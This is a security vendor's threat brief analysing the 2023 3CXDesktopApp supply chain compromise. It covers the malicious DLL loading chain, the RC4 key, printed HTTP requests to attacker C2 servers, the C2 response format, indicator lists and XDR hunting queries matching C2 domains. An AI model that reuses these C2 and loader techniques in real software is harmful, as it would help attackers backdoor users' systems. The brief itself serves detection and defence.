[![Logo](https://www.paloaltonetworks.com/wp-content/uploads/2021/07/PANW_Parent.png)](https://www.paloaltonetworks.com/)  
[![Unit42 Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/unit42-logo-white.svg)](https://unit42.paloaltonetworks.com/)  
Menu

* [Tools](https://unit42.paloaltonetworks.com/tools/)
* [ATOMs](https://unit42.paloaltonetworks.com/atoms/)
* [Security Consulting](https://www.paloaltonetworks.com/unit42)
* [About Us](https://unit42.paloaltonetworks.com/about-unit-42/)
* [**Under Attack?**](https://start.paloaltonetworks.com/contact-unit42.html)  
  English
* [English](https://unit42.paloaltonetworks.com/3cxdesktopapp-supply-chain-attack/)
* [Japanese](https://unit42.paloaltonetworks.com/ja/3cxdesktopapp-supply-chain-attack/)
* [Threat Research Center](https://unit42.paloaltonetworks.com "Threat Research")
* [High Profile Threats](https://unit42.paloaltonetworks.com/category/top-cyberthreats/ "High Profile Threats")
* [Malware](https://unit42.paloaltonetworks.com/category/malware/ "Malware")  
  [Malware](https://unit42.paloaltonetworks.com/category/malware/)

# Threat Brief: 3CXDesktopApp Supply Chain Attack (Updated)

![Clock Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-clock.svg) 8 min read  
Related Products  
[![Advanced Threat Prevention icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Advanced Threat Prevention](https://unit42.paloaltonetworks.com/product-category/advanced-threat-prevention/ "Advanced Threat Prevention")[![Cortex XDR icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/cortex_RGB_logo_Icon_Color.png)Cortex XDR](https://unit42.paloaltonetworks.com/product-category/cortex-xdr/ "Cortex XDR")[![Cortex XSIAM icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/cortex_RGB_logo_Icon_Color.png)Cortex XSIAM](https://unit42.paloaltonetworks.com/product-category/cortex-xsiam/ "Cortex XSIAM")[![Cortex XSOAR icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/cortex_RGB_logo_Icon_Color.png)Cortex XSOAR](https://unit42.paloaltonetworks.com/product-category/cortex-xsoar/ "Cortex XSOAR")[![Next-Generation Firewall icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Next-Generation Firewall](https://unit42.paloaltonetworks.com/product-category/next-generation-firewall/ "Next-Generation Firewall")[![Prisma Access icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/prisma_RGB_logo_Icon_Color.png)Prisma Access](https://unit42.paloaltonetworks.com/product-category/prisma-access/ "Prisma Access")[![Prisma Cloud icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/prisma_RGB_logo_Icon_Color.png)Prisma Cloud](https://unit42.paloaltonetworks.com/product-category/prisma-cloud/ "Prisma Cloud")[![Unit 42 Incident Response icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/unit42_RGB_logo_Icon_Color.png)Unit 42 Incident Response](https://unit42.paloaltonetworks.com/product-category/unit-42-incident-response/ "Unit 42 Incident Response")

* ![Profile Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-profile-grey.svg)  
  By:
  
  * [Robert Falcone](https://unit42.paloaltonetworks.com/author/robert-falcone/)
  * [Josh Grunzweig](https://unit42.paloaltonetworks.com/author/josh-grunzweig/)

* ![Published Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-calendar-grey.svg)  
  Published:March 30, 2023

* ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-category.svg)  
  Categories:
  
  * [High Profile Threats](https://unit42.paloaltonetworks.com/category/top-cyberthreats/)
  * [Malware](https://unit42.paloaltonetworks.com/category/malware/)
  * [Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/)

* ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-tags-grey.svg)  
  Tags:
  
  * [3CXDesktopApp](https://unit42.paloaltonetworks.com/tag/3cxdesktopapp/)
  * [MacOS](https://unit42.paloaltonetworks.com/tag/macos/)
  * [Malicious libraries](https://unit42.paloaltonetworks.com/tag/malicious-libraries/)
  * [Supply chain](https://unit42.paloaltonetworks.com/tag/supply-chain/)

* [![Download Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-download.svg)](https://unit42.paloaltonetworks.com/3cxdesktopapp-supply-chain-attack/?pdf=download&lg=en&_wpnonce=40dbae5d0f "Click here to download")

* [![Print Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-print.svg)](https://unit42.paloaltonetworks.com/3cxdesktopapp-supply-chain-attack/?pdf=print&lg=en&_wpnonce=40dbae5d0f "Click here to print")

Share![Down arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/down-arrow.svg)

* ![Link Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-share-link.svg)
* [![Link Email](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-sms.svg)](<mailto:?subject=Threat%20Brief:%203CXDesktopApp%20Supply%20Chain%20Attack%20(Updated)&body=Check%20out%20this%20article%20https%3A%2F%2Funit42.paloaltonetworks.com%2F3cxdesktopapp-supply-chain-attack%2F> "Share in email")
* [![Facebook Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-fb-share.svg)](https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Funit42.paloaltonetworks.com%2F3cxdesktopapp-supply-chain-attack%2F "Share in Facebook")
* [![LinkedIn Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-linkedin-share.svg)](<https://www.linkedin.com/sharing/share-offsite/?url=https%3A%2F%2Funit42.paloaltonetworks.com%2F3cxdesktopapp-supply-chain-attack%2F&title=Threat%20Brief:%203CXDesktopApp%20Supply%20Chain%20Attack%20(Updated)> "Share in LinkedIn")
* [![Twitter Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-twitter-share.svg)](<https://twitter.com/intent/tweet?url=https%3A%2F%2Funit42.paloaltonetworks.com%2F3cxdesktopapp-supply-chain-attack%2F&text=Threat%20Brief:%203CXDesktopApp%20Supply%20Chain%20Attack%20(Updated)> "Share in Twitter")
* [![Reddit Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-reddit-share.svg)](https://www.paloaltonetworks.com//www.reddit.com/submit?url=https%3A%2F%2Funit42.paloaltonetworks.com%2F3cxdesktopapp-supply-chain-attack%2F&ts=markdown "Share in Reddit")
* [![Mastodon Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-mastodon-share.svg)](<https://mastodon.social/share?text=Threat%20Brief:%203CXDesktopApp%20Supply%20Chain%20Attack%20(Updated)%20https%3A%2F%2Funit42.paloaltonetworks.com%2F3cxdesktopapp-supply-chain-attack%2F> "Share in Mastodon")

## Executive Summary

On March 29, 2023, there was a supply chain attack involving a software-based phone application called [3CXDesktopApp](https://www.3cx.com/). As of March 30, the 3CXDesktopApp installer hosted on the developer's website will install the application with two malicious libraries included. The malicious libraries will ultimately run shellcode to load a backdoor on the system that allows actors to install additional malware on the victim machine.

On March 31, 2023, we updated this blog to include a Next-Generation Firewall protections summary.

On April 3, 2023, we updated this blog to include an XSOAR protections summary. For Cortex XDR and XSIAM, we specified the content version for MacOS coverage. All XDR customers are and were protected with no upgrade required.

At this time, we cannot determine exactly how these malicious libraries were included in the 3CXDesktopApp installer. We speculate that threat actors might have introduced these malicious libraries during the build process of the 3CXDesktopApp application. Because malicious content was added to this legitimate application in order to compromise the users of 3CXDesktopApp, it could suggest that this is intended to be a supply chain attack.

3CX products are widely used across the globe. Our Cortex Xpanse product was able to fingerprint 247,277 distinct IP addresses in 199 countries that are using 3CX applications.

Between March 9-30, 2023, we observed activity at 127 Cortex XDR customers that involved the 3CXDesktopApp process attempting to run shellcode, which was blocked by the XDR Agent's In-process Shellcode Protection Module. Due to blocking the shellcode, we were unable to obtain the secondary payload used in this attack, so we cannot determine its capabilities or any post-exploitation activities carried out by the threat actor.

| **Related Unit 42 Topics** | [**Threat Brief**](https://unit42.paloaltonetworks.com/tag/threat-brief/), **[Supply Chain](https://unit42.paloaltonetworks.com/tag/supply-chain/)** |
|----------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------|

## Details of the Incident

The 3CXDesktopApp supply chain attack began with threat actors introducing malicious libraries into the legitimate 3CXDesktopApp installation application, likely by including these libraries during the build process of 3CXDesktopApp. With the malicious libraries included in the legitimate installer, individuals fall victim by downloading and running the 3CXDesktopApp installer from the developer's website.

At the time of publishing this threat brief, the Unit 42 team is aware of malicious 3CXDesktopApp installers meant to run on both Windows and macOS. The former comes as a Windows Installer File (.msi) and the latter comes as an Apple Disk Image file (.dmg). Figure 1 shows a diagram of the overall process.
![A tree diagram showing the path taken by the malicious libraries from installation to final payload.](https://unit42.paloaltonetworks.com/wp-content/uploads/2023/03/word-image-127495-1.png) Figure 1. Installation process for malicious 3CXDesktopApp installer for Windows.

On a Windows system, the MSI installer extracts several files and runs 3CXDesktopApp.exe, which loads a malicious library file named ffmpeg.dll. This DLL was originally compiled on Nov. 12, 2022, based on compiler metadata.

The ffmpeg.dll library reads in a second extracted library with a file name of d3dcompiler\_47.dll, decrypts a portion of it using RC4 and a key of 3jB(2bsG#@c7, and runs the decrypted contents as shellcode. The shellcode loads an embedded DLL and calls the DllGetClassObject function exported by the DLL.

Once initially executed, the malware will generate a randomly selected date that is between 1-4 weeks in the future. This timestamp is then checked against the current time of the compromised machine, and the malware will sleep until that time is encountered. In doing so, this prevents the malware from executing for a significant amount of time, to prevent victims suspecting that the program was backdoored.

The DLL attempts to obtain its command and control (C2) server by downloading an icon file from the following URL whose filename includes a randomly generated number between 1 and 15:

hxxps://raw.githubusercontent\[.\]com/IconStorages/images/main/icon\[1-15\].ico

This request looks similar to the one below.

GET /IconStorages/images/main/icon1.ico HTTP/1.1  
accept: \*/\*  
accept-language: en-US,en;q=0.9  
accept-encoding: gzip, deflate, br  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 3CXDesktopApp/18.11.1197 Chrome/102.0.5005.167 Electron/19.1.9 Safari/537.36  
Host: raw.githubusercontent.com  
Connection: Keep-Alive  
Cache-Control: no-cache

The GitHub account above no longer exists; however, we were able to obtain the icon files that were hosted at the above URLs. Table 1 includes the hash of the icon file, the filename and the C2 URL extracted from within the file.

|------------------------------------------------------------------|---------------------------|----------------------------------------------------|
| **SHA256**                                                       | **Icon Filename**         | **C2 URL Extracted**                               |
| a541e5fc421c358e0a2b07bf4771e897fb5a617998aa4876e0e1baa5fbb8e25c | icon1.ico                 | hxxps://msstorageazure\[.\]com/window              |
| d459aa0a63140ccc647e9026bfd1fccd4c310c262a88896c57bbe3b6456bd090 | icon10.ico and icon11.ico | hxxps://akamaitechcloudservices\[.\]com/v2/storage |
| d51a790d187439ce030cf763237e992e9196e9aa41797a94956681b6279d1b9a | icon12.ico                | hxxps://azureonlinestorage\[.\]com/azure/storage   |
| 4e08e4ffc699e0a1de4a5225a0b4920933fbb9cf123cde33e1674fde6d61444f | icon13.ico                | hxxps://msedgepackageinfo\[.\]com/microsoft-edge   |
| 8c0b7d90f14c55d4f1d0f17e0242efd78fd4ed0c344ac6469611ec72defa6b2d | icon14.ico                | hxxps://glcloudservice\[.\]com/v1/console          |
| f47c883f59a4802514c57680de3f41f690871e26f250c6e890651ba71027e4d3 | icon15.ico                | hxxps://pbxsources\[.\]com/exchange                |
| 2c9957ea04d033d68b769f333a48e228c32bcf26bd98e51310efd48e80c1789f | icon2.ico                 | hxxps://officestoragebox\[.\]com/api/session       |
| 268d4e399dbbb42ee1cd64d0da72c57214ac987efbb509c46cc57ea6b214beca | icon3.ico                 | hxxps://visualstudiofactory\[.\]com/workload       |
| c62dce8a77d777774e059cf1720d77c47b97d97c3b0cf43ade5d96bf724639bd | icon4.ico                 | hxxps://azuredeploystore\[.\]com/cloud/services    |
| c13d49ed325dec9551906bafb6de9ec947e5ff936e7e40877feb2ba4bb176396 | icon5.ico                 | hxxps://msstorageboxes\[.\]com/office              |
| f1bf4078141d7ccb4f82e3f4f1c3571ee6dd79b5335eb0e0464f877e6e6e3182 | icon6.ico                 | hxxps://officeaddons\[.\]com/technologies          |
| 2487b4e3c950d56fb15316245b3c51fbd70717838f6f82f32db2efcc4d9da6de | icon7.ico                 | hxxps://sourceslabs\[.\]com/downloads              |
| e059c8c8b01d6f3af32257fc2b6fe188d5f4359c308b3684b1e0db2071c3425c | icon8.ico                 | hxxps://zacharryblogs\[.\]com/feed                 |
| d0f1984b4fe896d0024533510ce22d71e05b20bad74d53fae158dc752a65782e | icon9.ico                 | hxxps://pbxcloudeservices\[.\]com/phonesystem      |

*Table 1. Icon files hosted at GitHub account used by payload to locate C2 URL.*

It should also be noted that the .ico files originally appeared on this GitHub repository Dec. 7, 2022, as shown in the git logs in Figure 2 below. This provides additional insight into the timeline as to when this attack originated.
![The GitHub logs showing modifications to the repository.](https://unit42.paloaltonetworks.com/wp-content/uploads/2023/03/word-image-127495-2.png) Figure 2. Logs indicating earliest modifications to GitHub repository.

After the .ico files are downloaded, parsed and subsequently decrypted to extract the next stage URL, the malware will perform an HTTPS request to it. The requests are similar to the following:

GET /api/session HTTP/1.1  
accept: \*/\*  
accept-language: en-US,en;q=0.9  
accept-encoding: gzip, deflate, br  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 3CXDesktopApp/18.11.1197 Chrome/102.0.5005.167 Electron/19.1.9 Safari/537.36  
Host: officestoragebox.com  
Connection: Keep-Alive  
Cache-Control: no-cache

While the remote C2 servers are no longer available, we can understand what the malware expects based on its own control flow. The C2 server is expected to respond with a JSON blob, containing the following keys.

{  
"url" : \[data\],  
"meta" : \[data\],  
"description" : \[data\]  
}

The "meta" field is parsed, and the data contained within this field is subsequently decrypted using the same routine that was previously leveraged. Finally, this decrypted data is directly executed on the victim machine.

Both of the known macOS variants involve DMG installers that contain a malicious FFmpeg library, specifically at the following path:

3CX Desktop App.app/Contents/Frameworks/Electron Framework.framework/Versions/A/Libraries/libffmpeg.dylib

This malicious library is similar in functionality but simpler than the Windows variant, as libffmpeg.dylib library does not attempt to obtain its C2 URL by extracting the URL from within an icon file hosted in a GitHub account. Instead, the Mac variant contains a list of 16 hardcoded URLs that it will communicate with as its C2 server, as seen in the following list:

* msstorageazure\[.\]com/analysis
* officestoragebox\[.\]com/api/biosync
* visualstudiofactory\[.\]com/groupcore
* azuredeploystore\[.\]com/cloud/images
* msstorageboxes\[.\]com/xbox
* officeaddons\[.\]com/quality
* sourceslabs\[.\]com/status
* zacharryblogs\[.\]com/xmlquery
* pbxcloudeservices\[.\]com/network
* pbxphonenetwork\[.\]com/phone
* akamaitechcloudservices\[.\]com/v2/fileapi
* azureonlinestorage\[.\]com/google/storage
* msedgepackageinfo\[.\]com/ms-webview
* glcloudservice\[.\]com/v1/status
* pbxsources\[.\]com/queue
* www.3cx\[.\]com/blog/event-trainings/

Note that the www.3cx\[.\]com URL above is a legitimate website owned by the 3CX vendor, which is not believed to be used for C2 communication at the time of writing.

The URLs found in the macOS variant use the same domains as the Windows variant, with the exception of the pbxphonenetwork\[.\]com domain. However, the URL paths differ between the macOS and Windows variants when interacting with the same domain.

[CrowdStrike](https://www.crowdstrike.com/blog/crowdstrike-detects-and-prevents-active-intrusion-campaign-targeting-3cxdesktopapp-customers/) has publicly attributed this activity to a threat actor they track as Labyrinth Chollima. While we cannot confirm the overlap that led to this attribution, we believe the use of the RC4 key of 3jB(2bsG#@c7 in this attack was seen in previous activity associated with Labyrinth Chollima. [Huntress Labs](https://www.huntress.com/blog/3cx-voip-software-compromise-supply-chain-threats) mentioned this key has been used in the past by DPRK threat actors, which suggests it could be the linkage to Labyrinth Chollima. At this time, we cannot confirm or deny this overlap and will continue to look for attributable evidence.

## Current Scope of the Attack

According to [3CX's announcement,](https://www.3cx.com/blog/news/desktopapp-security-alert/) the supply chain attack involved the 3CX Electron Windows App shipped in Update 7, version numbers 18.12.407 and 18.12.416, and Electron Mac App version numbers 18.11.1213, 18.12.402, 18.12.407 and 18.12.416.

According to XDR and XSIAM telemetry, we observed activity on 127 customers' systems that involved the 3CXDesktopApp process attempting to run shellcode, which was blocked by XDR Agent's In-process Shellcode Protection Module. We observed 5,796 of these events across 1,832 unique systems between March 9-30, 2023. Note all XDR customers were protected from zero-day with no upgrade needed.

Due to the blocking of the execution of the shellcode, we were unable to obtain the secondary payload of this attack that would contain the functionality needed by the threat actor to carry out any additional activities.

To determine the prevalence of 3CX products, we created a fingerprint of their publicly accessible applications and scanned the internet with our Xpanse product. The scan results showed 247,277 unique IP addresses in 199 countries that match this fingerprint, which suggests 3CX products are widely used at organizations across the globe.

Figure 3 shows a heatmap of the countries with IP address and TCP port combinations matching our fingerprint for 3CX products.
![A screenshot of a Cortex Xpanse heatmap displaying the countries with the most 3CX applications with the United States leading.](https://unit42.paloaltonetworks.com/wp-content/uploads/2023/03/word-image-127495-3.png) Figure 3. Heatmap of countries with 3CX applications.

## Interim Guidance

According to [3CX's announcement,](https://www.3cx.com/blog/news/desktopapp-security-alert/) the vendor suggests customers use the company's [PWA product](https://www.3cx.com/user-manual/web-client/) instead of the desktop application while the vendor updates the application. As of March 30, all of the C2 domain names and the GitHub repository hosting the icon files have been taken down. However, we suggest any system running the known malicious versions of 3CXDesktopApp investigate for compromise.

## Unit 42 Managed Threat Hunting Queries

// Description: Detect execution of 3cx application "3CXDesktopApp.exe" config case\_sensitive = false | dataset = xdr\_data | filter event\_type = PROCESS and action\_process\_signature\_vendor contains "3cx" and action\_process\_image\_name = "3CXDesktopApp.exe" | fields agent\_hostname, action\_process\_image\_name, action\_process\_signature\_vendor | dedup agent\_hostname, action\_process\_image\_name, action\_process\_signature\_vendor // Description: Detect network connections to known c2 domains: dataset = xdr\_data | filter dst\_action\_external\_hostname ~=".\*akamaicontainer.com|.\*akamaitechcloudservices.com|.\*azuredeploystore.com|.\*azureonlinecloud.com|.\*azureonlinestorage.com|.\*dunamistrd.com|.\*glcloudservice.com|.\*journalide.org|.\*msedgepackageinfo.com|.\*msstorageazure.com|.\*msstorageboxes.com|.\*officeaddons.com|.\*officestoragebox.com|.\*pbxcloudeservices.com|.\*pbxphonenetwork.com|.\*pbxsources.com|.\*qwepoi123098.com|.\*sbmsa.wiki|.\*sourceslabs.com|.\*visualstudiofactory.com|.\*zacharryblogs.com" OR dns\_query\_name ~=".\*akamaicontainer.com|.\*akamaitechcloudservices.com|.\*azuredeploystore.com|.\*azureonlinecloud.com|.\*azureonlinestorage.com|.\*dunamistrd.com|.\*glcloudservice.com|.\*journalide.org|.\*msedgepackageinfo.com|.\*msstorageazure.com|.\*msstorageboxes.com|.\*officeaddons.com|.\*officestoragebox.com|.\*pbxcloudeservices.com|.\*pbxphonenetwork.com|.\*pbxsources.com|.\*qwepoi123098.com|.\*sbmsa.wiki|.\*sourceslabs.com|.\*visualstudiofactory.com|.\*zacharryblogs.com" OR action\_external\_hostname ~=".\*akamaicontainer.com|.\*akamaitechcloudservices.com|.\*azuredeploystore.com|.\*azureonlinecloud.com|.\*azureonlinestorage.com|.\*dunamistrd.com|.\*glcloudservice.com|.\*journalide.org|.\*msedgepackageinfo.com|.\*msstorageazure.com|.\*msstorageboxes.com|.\*officeaddons.com|.\*officestoragebox.com|.\*pbxcloudeservices.com|.\*pbxphonenetwork.com|.\*pbxsources.com|.\*qwepoi123098.com|.\*sbmsa.wiki|.\*sourceslabs.com|.\*visualstudiofactory.com|.\*zacharryblogs.com" | fields agent\_hostname, agent\_version,causality\_actor\_process\_image\_path, actor\_process\_image\_path, action\_file\_path, action\_file\_sha256, action\_module\_path,action\_module\_sha256,dst\_action\_external\_hostname, dns\_query\_name,action\_external\_hostname, action\_remote\_ip, event\_id

|----------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 | // Description: Detect execution of 3cx application "3CXDesktopApp.exe" config case\_sensitive = false | dataset = xdr\_data | filter event\_type = PROCESS and action\_process\_signature\_vendor contains "3cx" and action\_process\_image\_name = "3CXDesktopApp.exe" | fields agent\_hostname, action\_process\_image\_name, action\_process\_signature\_vendor | dedup agent\_hostname, action\_process\_image\_name, action\_process\_signature\_vendor // Description: Detect network connections to known c2 domains: dataset = xdr\_data | filter dst\_action\_external\_hostname ~=".\*akamaicontainer.com|.\*akamaitechcloudservices.com|.\*azuredeploystore.com|.\*azureonlinecloud.com|.\*azureonlinestorage.com|.\*dunamistrd.com|.\*glcloudservice.com|.\*journalide.org|.\*msedgepackageinfo.com|.\*msstorageazure.com|.\*msstorageboxes.com|.\*officeaddons.com|.\*officestoragebox.com|.\*pbxcloudeservices.com|.\*pbxphonenetwork.com|.\*pbxsources.com|.\*qwepoi123098.com|.\*sbmsa.wiki|.\*sourceslabs.com|.\*visualstudiofactory.com|.\*zacharryblogs.com" OR dns\_query\_name ~=".\*akamaicontainer.com|.\*akamaitechcloudservices.com|.\*azuredeploystore.com|.\*azureonlinecloud.com|.\*azureonlinestorage.com|.\*dunamistrd.com|.\*glcloudservice.com|.\*journalide.org|.\*msedgepackageinfo.com|.\*msstorageazure.com|.\*msstorageboxes.com|.\*officeaddons.com|.\*officestoragebox.com|.\*pbxcloudeservices.com|.\*pbxphonenetwork.com|.\*pbxsources.com|.\*qwepoi123098.com|.\*sbmsa.wiki|.\*sourceslabs.com|.\*visualstudiofactory.com|.\*zacharryblogs.com" OR action\_external\_hostname ~=".\*akamaicontainer.com|.\*akamaitechcloudservices.com|.\*azuredeploystore.com|.\*azureonlinecloud.com|.\*azureonlinestorage.com|.\*dunamistrd.com|.\*glcloudservice.com|.\*journalide.org|.\*msedgepackageinfo.com|.\*msstorageazure.com|.\*msstorageboxes.com|.\*officeaddons.com|.\*officestoragebox.com|.\*pbxcloudeservices.com|.\*pbxphonenetwork.com|.\*pbxsources.com|.\*qwepoi123098.com|.\*sbmsa.wiki|.\*sourceslabs.com|.\*visualstudiofactory.com|.\*zacharryblogs.com" | fields agent\_hostname, agent\_version,causality\_actor\_process\_image\_path, actor\_process\_image\_path, action\_file\_path, action\_file\_sha256, action\_module\_path,action\_module\_sha256,dst\_action\_external\_hostname, dns\_query\_name,action\_external\_hostname, action\_remote\_ip, event\_id |

## Conclusion

The 3CXDesktopApp supply chain attack has received significant attention, as these products are widely used, with at least 247,000 systems across the globe according to our Xpanse product. The compromised 3CXDesktopApp application was seen in the environments of 127 of our customers, and we blocked the execution of the malicious shellcode executed by the application via the XDR Agent's In-process Shellcode Protection Module.

At this time, the malicious 3CXDesktopApp installers do not have any active C2 domains to communicate with. However, systems that have run the known compromised 3CXDesktopApp versions or communicated with any of the C2 URLs should be investigated for potential compromise.

## Palo Alto Networks Product Protections for 3CXDesktopApp Supply Chain Attack

Palo Alto Networks customers can leverage a variety of product protections and updates to identify and defend against this threat.

[Next-Generation Firewalls](https://www.paloaltonetworks.com/network-security/next-generation-firewall) with a Threat Prevention security subscription can help block the C2 traffic with Best Practices via Threat Prevention signature [86729](https://threatvault.paloaltonetworks.com/?query=86729).

If you think you may have been compromised or have an urgent matter, get in touch with the [Unit 42 Incident Response team](https://start.paloaltonetworks.com/contact-unit42.html) or call:

* North America Toll-Free: 866.486.4842 (866.4.UNIT42)
* EMEA: +31.20.299.3130
* APAC: +65.6983.8730
* Japan: +81.50.1790.0200

#### **Cortex XSOAR**

The [3CXDesktopApp Supply Chain Attack](https://cortex.marketplace.pan.dev/marketplace/details/3CXDesktopApp_Supply_Chain_Attack/) pack includes an automated playbook that helps collect indicators and run advanced queries in the organization SIEM and XDR, furthermore signatures to deploy in 3rd party integration. The playbook also provides remediation for the possible compromised endpoints.

#### **Cortex XDR and XSIAM**

In-process Shellcode Protection Module and Behavioral Threat Protection help protect against these attacks and they have blocked multiple attacks in-the-wild prior to any malicious execution. For macOS coverage, please make sure you are running content version 910-49625. All customers remain protected.

## Indicators of Compromise

|------------------------------------------------------------------|----------------------------------------------|
| **SHA256**                                                       | **Description**                              |
| 59e1edf4d82fae4978e97512b0331b7eb21dd4b838b850ba46794d9c7a2c0983 | 3CXDesktopApp-18.12.416.msi Installer        |
| aa124a4b4df12b34e74ee7f6c683b2ebec4ce9a8edcf9be345823b4fdcf5d868 | 3CXDesktopApp-18.12.407.msi Installer        |
| 5407cda7d3a75e7b1e030b1f33337a56f293578ffa8b3ae19c671051ed314290 | 3CXDesktopApp-18.11.1213.dmg Installer       |
| e6bbc33815b9f20b0cf832d7401dd893fbc467c800728b5891336706da0dbcec | 3CXDesktopApp-18.12.416.dmg Installer        |
| 7c55c3dfa373b6b342390938029cb76ef31f609d9a07780772c6010a4297e321 | 3CXDesktopApp-18.12.416-full.nupkg Installer |
| 7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896 | Malicious ffmpeg.dll                         |
| 11be1803e2e307b647a8a7e02d128335c448ff741bf06bf52b332e0bbf423b03 | Malicious d3dcompiler\_47.dll                 |
| c485674ee63ec8d4e8fde9800788175a8b02d3f9416d0e763360fff7f8eb4e02 | Malicious ffmpeg.dll                         |
| aa4e398b3bd8645016d8090ffc77d15f926a8e69258642191deb4e68688ff973 | Malicious DLL in d3dcompiler\_47.dll          |
| fee4f9dabc094df24d83ec1a8c4e4ff573e5d9973caa676f58086c99561382d7 | Malicious libffmpeg.dylib                    |
| a64fa9f1c76457ecc58402142a8728ce34ccba378c17318b3340083eeb7acc67 | Malicious libffmpeg.dylib                    |

|--------------------------------------------|------------------------|
| **URL**                                    | **Description**        |
| msstorageazure\[.\]com/analysis            | C2 for macOS variant   |
| officestoragebox\[.\]com/api/biosync       | C2 for macOS variant   |
| visualstudiofactory\[.\]com/groupcore      | C2 for macOS variant   |
| azuredeploystore\[.\]com/cloud/images      | C2 for macOS variant   |
| msstorageboxes\[.\]com/xbox                | C2 for macOS variant   |
| officeaddons\[.\]com/quality               | C2 for macOS variant   |
| sourceslabs\[.\]com/status                 | C2 for macOS variant   |
| zacharryblogs\[.\]com/xmlquery             | C2 for macOS variant   |
| pbxcloudeservices\[.\]com/network          | C2 for macOS variant   |
| pbxphonenetwork\[.\]com/phone              | C2 for macOS variant   |
| akamaitechcloudservices\[.\]com/v2/fileapi | C2 for macOS variant   |
| azureonlinestorage\[.\]com/google/storage  | C2 for macOS variant   |
| msedgepackageinfo\[.\]com/ms-webview       | C2 for macOS variant   |
| glcloudservice\[.\]com/v1/status           | C2 for macOS variant   |
| pbxsources\[.\]com/queue                   | C2 for macOS variant   |
| msstorageazure\[.\]com/window              | C2 for Windows variant |
| akamaitechcloudservices\[.\]com/v2/storage | C2 for Windows variant |
| azureonlinestorage\[.\]com/azure/storage   | C2 for Windows variant |
| msedgepackageinfo\[.\]com/microsoft-edge   | C2 for Windows variant |
| glcloudservice\[.\]com/v1/console          | C2 for Windows variant |
| pbxsources\[.\]com/exchange                | C2 for Windows variant |
| officestoragebox\[.\]com/api/session       | C2 for Windows variant |
| visualstudiofactory\[.\]com/workload       | C2 for Windows variant |
| azuredeploystore\[.\]com/cloud/services    | C2 for Windows variant |
| msstorageboxes\[.\]com/office              | C2 for Windows variant |
| officeaddons\[.\]com/technologies          | C2 for Windows variant |
| sourceslabs\[.\]com/downloads              | C2 for Windows variant |
| zacharryblogs\[.\]com/feed                 | C2 for Windows variant |
| pbxcloudeservices\[.\]com/phonesystem      | C2 for Windows variant |

**Domains**

* msstorageazure\[.\]com
* officestoragebox\[.\]com
* visualstudiofactory\[.\]com
* azuredeploystore\[.\]com
* msstorageboxes\[.\]com
* officeaddons\[.\]com
* sourceslabs\[.\]com
* zacharryblogs\[.\]com
* pbxcloudeservices\[.\]com
* pbxphonenetwork\[.\]com
* akamaitechcloudservices\[.\]com
* azureonlinestorage\[.\]com
* msedgepackageinfo\[.\]com
* glcloudservice\[.\]com
* pbxsources\[.\]com

*Updated April 3, 2023, at 4:45 p.m. PT.*
Back to top

### Tags

* [3CXDesktopApp](https://unit42.paloaltonetworks.com/tag/3cxdesktopapp/ "3CXDesktopApp")
* [MacOS](https://unit42.paloaltonetworks.com/tag/macos/ "macOS")
* [Malicious libraries](https://unit42.paloaltonetworks.com/tag/malicious-libraries/ "malicious libraries")
* [Supply chain](https://unit42.paloaltonetworks.com/tag/supply-chain/ "supply chain")  
